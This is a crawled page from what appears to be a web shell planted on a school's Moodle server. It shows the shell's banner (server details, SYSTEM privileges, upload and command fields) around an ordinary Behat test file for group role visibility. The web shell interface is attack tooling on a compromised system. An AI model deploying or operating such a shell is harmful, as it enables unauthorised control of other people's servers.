403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/group/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/group/tests/behat/role_visibility.feature
@core @core_group
Feature: Test role visibility for the groups management page
  In order to control access
  As an admin
  I need to control which roles can see each other

  Background: Set up some groups
    Given  the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "users" exist:
      | username | firstname | lastname | email                |
      | learner1 | Learner   | 1        | [email protected] |
      | teacher1 | Teacher   | 1        | [email protected] |
      | manager1 | Manager   | 1        | [email protected] |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | learner1 | C1     | student        |
      | teacher1 | C1     | editingteacher |
      | manager1 | C1     | manager        |
    And the following "groups" exist:
      | name    | course | idnumber |
      | Group 1 | C1     | G1       |
    And the following "group members" exist:
      | user     | group |
      | learner1 | G1    |
      | teacher1 | G1    |
      | manager1 | G1    |

  Scenario: Check the default roles are visible
    Given I log in as "manager1"
    And I am on "Course 1" course homepage
    And I navigate to "Users > Groups" in current page administration
    When I set the field "groups" to "Group 1 (3)"
    And I press "Show members for group"
    Then "optgroup[label='No roles']" "css_element" should not exist in the "#members" "css_element"
    And "optgroup[label='Student']" "css_element" should exist in the "#members" "css_element"
    And "optgroup[label='Teacher']" "css_element" should exist in the "#members" "css_element"
    And "optgroup[label='Manager']" "css_element" should exist in the "#members" "css_element"
    And I log out

  Scenario: Do not allow managers to view any roles and check they are hidden
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I navigate to "Users > Groups" in current page administration
    When I set the field "groups" to "Group 1 (3)"
    And I press "Show members for group"
    Then "optgroup[label='No roles']" "css_element" should exist in the "#members" "css_element"
    And "optgroup[label='Student']" "css_element" should exist in the "#members" "css_element"
    And "optgroup[label='Teacher']" "css_element" should exist in the "#members" "css_element"
    And "optgroup[label='Manager']" "css_element" should not exist in the "#members" "css_element"
    And I log out

Youez - 2016 - github.com/yon3zu
LinuXploit